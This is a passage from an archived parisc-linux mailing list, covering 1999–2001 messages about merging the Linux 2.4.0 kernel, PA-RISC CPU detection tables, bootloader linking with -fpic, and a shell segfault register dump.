   Piccolo W+                            | NPROC  |  00004    81  |   5DE
[ reserved      5DF-5FE ]
   Hitachi W                             | NPROC  |  00004    ??  |   5FF


Some heuristics in case its not clear from the Description:
	M2500 is PCX-W
	M2600 is PCX-W+
	*360 is PCX-W
	*440 is PCX-W
	*5[45]0 is PCX-W+

Other news:
devresources.hp.com website should see some of the PDC docs updated soon.
(Which was already happening before I asked about HVERS/SVERS stuff)


thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.4.0
Date: Fri, 26 Jan 2001 00:48:31 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20010126004831.A8137@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619597 11362 80.91.229.3 (22 Nov 2014 01:26:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Thu Jan 25 17:44:41 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA20322
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 17:44:41 -0700
Original-Received: (qmail 29932 invoked by uid 15267); 26 Jan 2001 00:48:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29919 invoked from network); 26 Jan 2001 00:48:32 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 00:48:32 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14Lx43-0002qk-00
	for parisc-linux@thepuffingroup.com; Fri, 26 Jan 2001 00:48:31 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9404


ok, the merge is complete and the head of the tree is now linux-2.4.0.
it's marked with the LINUS_240_DEVEL tag.  sorry for messing it up
so badly.

drivers/pci is almost unaltered from 2.4.0-test10 as grant thinks the
changes which have been made will break our PCI code.

a few conflicts worth noting... jsm had merged some stuff from -test11
into our tree.  dealt with those dual patches, no problem.

kernel/ptrace.c, kernel/module.c got some cache flushing changeswhich
conflicted with some of ours (only textually, not semantically).

tulip_core.c seemed to have absorbed some of our patches.  acenic.c had
some small changes.

we have large outstanding diffs in the scsi directory -- richard
volunteered to take care of this.  some other drivers need submitting
/ updating.

i'm going to send linus a patch tomorrow to get our arch/parisc and
include/asm-parisc trees uptodate in his tree.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.4.0
Date: Thu, 25 Jan 2001 17:57:14 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <200101260157.RAA22922@milano.cup.hp.com>
References: <20010126004831.A8137@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619597 11365 80.91.229.3 (22 Nov 2014 01:26:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Jan 25 18:51:13 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA21360
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 18:51:13 -0700
Original-Received: (qmail 8421 invoked by uid 15267); 26 Jan 2001 01:55:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8414 invoked from network); 26 Jan 2001 01:55:09 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 01:55:09 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 7F1D8DF8
	for <parisc-linux@thepuffingroup.com>; Thu, 25 Jan 2001 17:55:08 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id RAA22922
	for <parisc-linux@thepuffingroup.com>; Thu, 25 Jan 2001 17:57:15 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 26 Jan 2001 00:48:31 PST."
             <20010126004831.A8137@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:9405

Matthew Wilcox wrote:
> drivers/pci is almost unaltered from 2.4.0-test10 as grant thinks the
> changes which have been made will break our PCI code.

Unless someone objects, My plan is to continue working on CONFIG_SMP
until it boots on my A500. Then merge the 2.4.0 PCI stuff onto our
tree. The problem is names of pci "generic" functions changed -test11
or -test12 and what they do has been slightly changed. Certain things
definitely break A500 support. I need to revisit both the generic and
elroy code so it all works again.

...
> i'm going to send linus a patch tomorrow to get our arch/parisc and
> include/asm-parisc trees uptodate in his tree.

Which means the linus tree still won't build a parisc-kernel.
He'll have missing symbol errors in the PCI subsystem for sure.
But I guess we'll keep getting closer as time goes on.

thanks!
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Request
Date: Thu, 25 Jan 2001 17:59:24 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <200101260159.RAA22946@milano.cup.hp.com>
References: <000c01c0871a$dda54830$f59b260f@spawn>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619597 11369 80.91.229.3 (22 Nov 2014 01:26:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:37 +0000 (UTC)
Cc: "HP Linux Email List" <parisc-linux@thepuffingroup.com>
To: sanaya@gr.hp.com
Original-X-From: grundler@cup.hp.com  Thu Jan 25 18:53:29 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA21638
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 18:53:29 -0700
Original-Received: (qmail 10977 invoked by uid 15267); 26 Jan 2001 01:57:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10963 invoked from network); 26 Jan 2001 01:57:25 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 01:57:25 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id B0DCFBBA
	for <parisc-linux@thepuffingroup.com>; Thu, 25 Jan 2001 17:57:24 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id RAA22946;
	Thu, 25 Jan 2001 17:59:25 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 25 Jan 2001 15:05:02 PST."
             <000c01c0871a$dda54830$f59b260f@spawn> 
Xref: news.gmane.org gmane.linux.ports.parisc:9406

"Sean Anaya" wrote:
> Hi all,
> 
> I was wondering if it would be possible to get the latest workable CD image
> (palinux-0.5.iso.gz) updated?

That's in progress but it's not clear when it will be ready.

> I really would like to install Linux on my
> C180-XP machine, but that image doesn't support Cxxx machines according to
> the readme, and I do not have access to another linux machine on which to
> build/put together a bootable CD image.

Well, then you have to wait. :^(

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.4.0
Date: Fri, 26 Jan 2001 03:04:40 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20010126030440.A18813@parcelfarce.linux.theplanet.co.uk>
References: <20010126004831.A8137@parcelfarce.linux.theplanet.co.uk> <200101260157.RAA22922@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619598 11370 80.91.229.3 (22 Nov 2014 01:26:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Thu Jan 25 20:38:31 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA22244
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 20:38:30 -0700
Original-Received: (qmail 23024 invoked by uid 15267); 26 Jan 2001 03:42:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22998 invoked from network); 26 Jan 2001 03:42:27 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 03:42:27 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14LzBo-00056f-00; Fri, 26 Jan 2001 03:04:40 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200101260157.RAA22922@milano.cup.hp.com>; from grundler@cup.hp.com on Thu, Jan 25, 2001 at 05:57:14PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9407

On Thu, Jan 25, 2001 at 05:57:14PM -0800, Grant Grundler wrote:
> Unless someone objects, My plan is to continue working on CONFIG_SMP
> until it boots on my A500. Then merge the 2.4.0 PCI stuff onto our
> tree. The problem is names of pci "generic" functions changed -test11
> or -test12 and what they do has been slightly changed. Certain things
> definitely break A500 support. I need to revisit both the generic and
> elroy code so it all works again.

i don't mind waiting.

> Which means the linus tree still won't build a parisc-kernel.
> He'll have missing symbol errors in the PCI subsystem for sure.
> But I guess we'll keep getting closer as time goes on.

right.  i don't anticipate getting all the changes we need into linus'
tree any time soon, possibly not until 2.5 opens.  i think 2.4.0 only
works on x86 & alpha.  i know it doesn't work on ia64 -- some journalists
tried to make a big deal out of this.  i see linus put ppc, sparc &
sparc64 patches into 2.4.1-pre, so I'm guessing 2.4.0 doesn't work on
those arches either.

just for giggles, i merged 2.4.1-pre10 into our tree.  no conflicts.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy <dkennedy@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CPU detection wrong
Date: Fri, 26 Jan 2001 00:07:12 -0800 (PST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101260002130.3746-100000@localhost.localdomain>
References: <200101260024.QAA22790@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619598 11372 80.91.229.3 (22 Nov 2014 01:26:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:38 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: dkennedy@linuxcare.com  Thu Jan 25 21:02:34 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA22754
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 21:02:33 -0700
Original-Received: (qmail 14045 invoked by uid 15267); 26 Jan 2001 04:06:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14016 invoked from network); 26 Jan 2001 04:06:28 -0000
Original-Received: from hse-ottawa-ppp237516.sympatico.ca (HELO localhost.linuxcare.com) (64.230.77.77)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 04:06:28 -0000
Original-Received: by localhost.linuxcare.com (Postfix, from userid 501)
	id 4309F261; Fri, 26 Jan 2001 00:07:12 -0800 (PST)
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost.linuxcare.com (Postfix) with ESMTP
	id B1153AB70; Fri, 26 Jan 2001 00:07:12 -0800 (PST)
X-Sender: dkennedy@localhost.localdomain
In-Reply-To: <200101260024.QAA22790@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9408

On Thu, 25 Jan 2001, Grant Grundler wrote:

> Matthew Wilcox wrote:
> > we have the following entry in hardware.c:
> > 
> >         { 0x05c0, 0x0fc0, pcxw   },  /* 0x05c0 - 0x05ff */
> 
> David (Kennedy),
> You have time to fix the table based on the "Appendix B" data below?

Done.  I have committed it.  I don't have a PA box near me.  Can someone
check my change to:
	- ensure it compiles
	- it correctly detects all the machines old and new.

> In the long run, I don't want to be involved in maintaining this table.
> An easier way to determine processor type is based on CPU and FP-Coproc
> MODEL information. Our kernel queries for both now and it's just a
> matter of putting it to use.

I don't mind maintaining this table.  It would be goot to keep this table 
and the hardware database in sync.

I will make sure that the hardware database is updated accordingly.

-- 
David Kennedy, Technical Account Manager, Linuxcare, Inc.
613.562.9594 tel, 613.562.9304 fax
dkennedy@linuxcare.com, http://www.linuxcare.com/
Linuxcare.  Support for the revolution.



From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Building the Bootloader
Date: Tue, 1 Jun 1999 17:35:59 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <199906012135.RAA26921@hiauly1.hia.nrc.ca>
References: <199906012044.NAA19549@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619598 11374 80.91.229.3 (22 Nov 2014 01:26:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:38 +0000 (UTC)
Cc: prumpf@suse.de, cjbeard@istar.ca, parisc-linux@thepuffingroup.com
To: jason@equator.com (Jason Eckhardt)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jun  1 15:36:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA11039
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 15:36:07 -0600
Original-Received: (qmail 23061 invoked by uid 15267); 1 Jun 1999 21:35:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23054 invoked from network); 1 Jun 1999 21:35:24 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 21:35:24 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA26921;
	Tue, 1 Jun 1999 17:35:59 -0400 (EDT)
In-Reply-To: <199906012044.NAA19549@gatekeeper.equator.com> from "Jason Eckhardt" at Jun 1, 99 01:44:55 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9409

>   Care was taken -- the ipl is position independent with the chosen 
>   combination of flags and code design. The ipl makes no assumption about the
>   location it will be loaded into by the ROM (see ipl_s.s). Text offset zero 
>   is correct for linking in the scheme I have chosen. The bootloader determines
>   where is was loaded at runtime and sets the dp and sp accordingly. All of
>   this should be obvious from the code.

It is not obvious to me that the C code is position independent.

>   The specific combination of flags allowed me to get something resembling
>   a straight binary image (by ignoring the header) and position independence.
>   For some reason I can't remember now, -fpic didn't get the job done
>   (perhaps a compiler defect).

When -fpic is used, $global$ is not used as an offset to access data
variables.  Gnu ld doesn't seem to like $global$ not being used:

624 (hiauly1)dave> make
hppa-linux-as                  ipl_s.s -o ipl_s.o
ipl_s.s: Assembler messages:
ipl_s.s:65: Warning: Ignoring subspace decl due to ELF BFD bugs.
ipl_s.s:68: Warning: Ignoring subspace decl due to ELF BFD bugs.
ipl_s.s:83: Warning: Ignoring subspace decl due to ELF BFD bugs.
ipl_s.s:243: Warning: Ignoring subspace decl due to ELF BFD bugs.
hppa-linux-gcc           -fwritable-strings -mdisable-fpregs -fpic -c ipl_c.c
hppa-linux-gcc           -fwritable-strings -mdisable-fpregs -fpic -c rom_interf
ace.c
hppa-linux-ld                  -Ttext 0 -N ipl_s.o ipl_c.o rom_interface.o -L/eh
ic/a/lib/gcc-lib/hppa-linux/egcs-2.91.60 -lgcc -o ipl
ipl_c.o: In function `IPL_main':
ipl_c.o($CODE$+0x60): undefined reference to `$global$'
make: *** [ipl] Error 1

Inspection of ipl_c.o shows that there is no actual reference to $global$
in ipl_c.o.  No errors occur if -fpic is removed.  

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Josiah Carlson <jcarlson@macalester.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Getting parisc-linux installed... (a tutorial)
Date: Thu, 25 Jan 2001 23:30:38 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <3A710B7EF.7A0DJCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619599 11375 80.91.229.3 (22 Nov 2014 01:26:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:39 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jcarlson@macalester.edu  Thu Jan 25 22:28:19 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA23407
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 22:28:19 -0700
Original-Received: (qmail 23299 invoked by uid 15267); 26 Jan 2001 05:32:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23291 invoked from network); 26 Jan 2001 05:32:15 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 05:32:15 -0000
Original-Received: from dualcel400 ([141.140.106.33])
 by macalester.edu (PMDF V5.2-32 #38670)
 with SMTP id <01JZCBUNQU1Q002HER@macalester.edu> for
 parisc-linux@thepuffingroup.com; Thu, 25 Jan 2001 23:32:13 CDT
X-Mailer: Becky! ver 1.25.04
Xref: news.gmane.org gmane.linux.ports.parisc:9410

Hey peoples,

Like I promised, I pieced together a set of instructions for newbies to
get a decent installation of the .5 image on their machine.  Some is
taken from parisc-linux.org/install.html, which is referenced at the top
of the page.

Thank you everyone for your help.  Unfortunately, the machines that I
was supposed to get working, I lose access to in 2 days.  I don't know
what is going to happen to them, but I'll see about seeing if I can get
them donated to the cause.

Url: http://www.macalester.edu/~jcarlson/install.html

Good luck everyone, it's been fun *smile*,
 - Josiah


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CPU detection wrong
Date: Thu, 25 Jan 2001 21:42:05 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <200101260542.VAA23212@milano.cup.hp.com>
References: <Pine.LNX.4.21.0101260002130.3746-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619599 11377 80.91.229.3 (22 Nov 2014 01:26:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:39 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: dkennedy <dkennedy@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Thu Jan 25 22:36:07 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA23742
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 22:36:07 -0700
Original-Received: (qmail 30134 invoked by uid 15267); 26 Jan 2001 05:40:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30046 invoked from network); 26 Jan 2001 05:40:01 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 05:40:01 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 31E48533; Thu, 25 Jan 2001 21:40:00 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA23212;
	Thu, 25 Jan 2001 21:42:07 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 26 Jan 2001 00:07:12 PST."
             <Pine.LNX.4.21.0101260002130.3746-100000@localhost.localdomain> 
Xref: news.gmane.org gmane.linux.ports.parisc:9411

dkennedy wrote:
> Done.  I have committed it.  I don't have a PA box near me.  Can someone
> check my change to:
> 	- ensure it compiles
> 	- it correctly detects all the machines old and new.

Thanks!

It compiles and boots fine on my c3k:
| model   00005bb0 00000481 00000000 00000002 780cd400 100000f0 00000008 000000b2 000000b2
| CPUID   vers 17 rev 4
| model   9000/785/C3000
| led_init: CPU_HVERSION 5bb
...
| 6. AllegroHigh W  (0) at 0xfffa0000, versions 0x5bb, 0x0, 0x4, 0x0, 0x81
...

(I hadn't noticed we were already printing model string...cool.
I guess it time to start cleaning up boot output.)


> I don't mind maintaining this table.  It would be goot to keep this table 
> and the hardware database in sync.

I see. You are right.

The only way to do that is get regular updates from the maintainer
of "Appendix B". hmmm...but there are some issues with this. Updates
*aren't* regular and only "private" versions of the appendix B is
maintained. The appendix is hand filtered for public consumption to
exclude products which haven't released yet. So we'll just have to
keep grinding along like we do now...complain if something shows
up as "unknown" and it's got a IODC data.

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sh segfaults
Date: Thu, 25 Jan 2001 22:15:27 -0800 (PST)
Lines: 41
Approved: news@gmane.org
Message-ID: <200101260615.WAA23253@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619599 11383 80.91.229.3 (22 Nov 2014 01:26:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:39 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Jan 25 23:09:25 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA24156
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 Jan 2001 23:09:25 -0700
Original-Received: (qmail 25804 invoked by uid 15267); 26 Jan 2001 06:13:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25797 invoked from network); 26 Jan 2001 06:13:21 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 06:13:21 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id C2248155A
	for <parisc-linux@thepuffingroup.com>; Thu, 25 Jan 2001 22:13:20 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id WAA23253
	for parisc-linux@thepuffingroup.com; Thu, 25 Jan 2001 22:15:27 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:9412


Hi all,
So despite booting our shiny new 2.4.0 kernel fine and being able to rcp
the sources to attempt a native build, "make oldconfig" consistently
sees a segfault:

c3k:/usr/src/linux \<535\>make oldconfig > /dev/null

do_page_fault() pid=561 command='sh' type=15 address=0x000006e4

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001011
r0-3     00000000 00000368 000327a3 bb002490
r4-7     4001399b 00000000 401cf630 401d2fbc
r8-11    00076d74 00000000 bb002490 000c3110
r12-15   ffffffff 00000000 00000000 00000001
r16-19   0000005c 00000000 00000000 401d2fbc
r20-23   fffff000 400eb63c 0007e498 00000008
r24-27   00000000 bb002908 00000002 00076808
r28-31   0000023a 0000002f bb002880 400eb663
sr0-3    00000368 00000368 00000000 00000368
sr4-7    00000368 00000368 00000368 00000368

IASQ: 00000368 00000368 IAOQ: 000327a3 000327a7
 IIR: 483306f8    ISR: 00000368  IOR: 000006e4
ORIG_R28: 00000001
make: *** [oldconfig] Segmentation fault
c3k:/usr/src/linux \<536\>


And redirecting output to /dev/null doesn't always work either.
Sometimes I just get back an error msg.
This wasn't happening with the previous kernels.

This is unfortunately on the same proto-c3k that couldn't run hwclock.sh
at boot up before though that worked fine on my c3k at work. So it
might just be the machine. If others could verify...

thanks,
grant


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lif volume (correct) structs/values
Date: Fri, 26 Jan 2001 01:09:19 -0700
Lines: 99
Approved: news@gmane.org
Message-ID: <20010126080919.ABABC22907B@mix.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619600 11391 80.91.229.3 (22 Nov 2014 01:26:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:40 +0000 (UTC)
Cc: lamont@hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: lamont@security.hp.com  Fri Jan 26 01:05:29 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA25069
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 01:05:29 -0700
Original-Received: (qmail 25047 invoked by uid 15267); 26 Jan 2001 08:09:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25035 invoked from network); 26 Jan 2001 08:09:25 -0000
Original-Received: from jones.cwx.net (HELO mix.fc.hp.com) (216.17.176.67)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 08:09:25 -0000
Original-Received: from security.hp.com (localhost [127.0.0.1])
	by mix.fc.hp.com (Postfix) with ESMTP
